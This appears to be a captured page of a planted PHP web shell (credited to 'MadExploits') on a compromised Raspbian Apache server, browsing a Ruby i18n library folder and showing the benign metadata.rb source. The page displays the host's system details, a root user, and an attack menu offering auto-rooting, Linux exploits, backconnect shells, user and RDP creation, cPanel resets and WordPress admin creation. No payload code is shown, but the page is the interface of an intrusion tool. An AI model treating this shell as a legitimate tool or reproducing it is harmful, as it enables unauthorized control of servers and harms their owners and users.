Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
i18n /
backend /
[ HOME SHELL ]
Name
Size
Permission
Action
base.rb
10.45
KB
-rw-r--r--
cache.rb
3.41
KB
-rw-r--r--
cache_file.rb
1.35
KB
-rw-r--r--
cascade.rb
2.15
KB
-rw-r--r--
chain.rb
3.94
KB
-rw-r--r--
fallbacks.rb
3.17
KB
-rw-r--r--
flatten.rb
3.76
KB
-rw-r--r--
gettext.rb
2.82
KB
-rw-r--r--
interpolation_compiler.rb
3.71
KB
-rw-r--r--
key_value.rb
5.91
KB
-rw-r--r--
memoize.rb
1.35
KB
-rw-r--r--
metadata.rb
2.17
KB
-rw-r--r--
pluralization.rb
2.08
KB
-rw-r--r--
simple.rb
3.42
KB
-rw-r--r--
transliterator.rb
4.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : metadata.rb
# frozen_string_literal: true # I18n translation metadata is useful when you want to access information # about how a translation was looked up, pluralized or interpolated in # your application. # # msg = I18n.t(:message, :default => 'Hi!', :scope => :foo) # msg.translation_metadata # # => { :key => :message, :scope => :foo, :default => 'Hi!' } # # If a :count option was passed to #translate it will be set to the metadata. # Likewise, if any interpolation variables were passed they will also be set. # # To enable translation metadata you can simply include the Metadata module # into the Simple backend class - or whatever other backend you are using: # # I18n::Backend::Simple.include(I18n::Backend::Metadata) # module I18n module Backend module Metadata class << self def included(base) Object.class_eval do def translation_metadata unless self.frozen? @translation_metadata ||= {} else {} end end def translation_metadata=(translation_metadata) @translation_metadata = translation_metadata unless self.frozen? end end unless Object.method_defined?(:translation_metadata) end end def translate(locale, key, options = EMPTY_HASH) metadata = { :locale => locale, :key => key, :scope => options[:scope], :default => options[:default], :separator => options[:separator], :values => options.reject { |name, _value| RESERVED_KEYS.include?(name) } } with_metadata(metadata) { super } end def interpolate(locale, entry, values = EMPTY_HASH) metadata = entry.translation_metadata.merge(:original => entry) with_metadata(metadata) { super } end def pluralize(locale, entry, count) with_metadata(:count => count) { super } end protected def with_metadata(metadata, &block) result = yield result.translation_metadata = result.translation_metadata.merge(metadata) if result result end end end end
Close